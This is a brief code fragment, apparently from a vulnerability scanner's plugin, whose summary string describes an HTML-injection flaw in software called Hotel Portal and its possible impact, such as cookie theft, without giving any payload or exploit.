tag_summary = "Hotel Portal is prone to an HTML-injection vulnerability because it
fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML and script code would run in the context of the
affected browser, potentially allowing the attacker to steal cookie-
based authentication credentials or control how the site is rendered
to the user. Other attacks are also possible.";
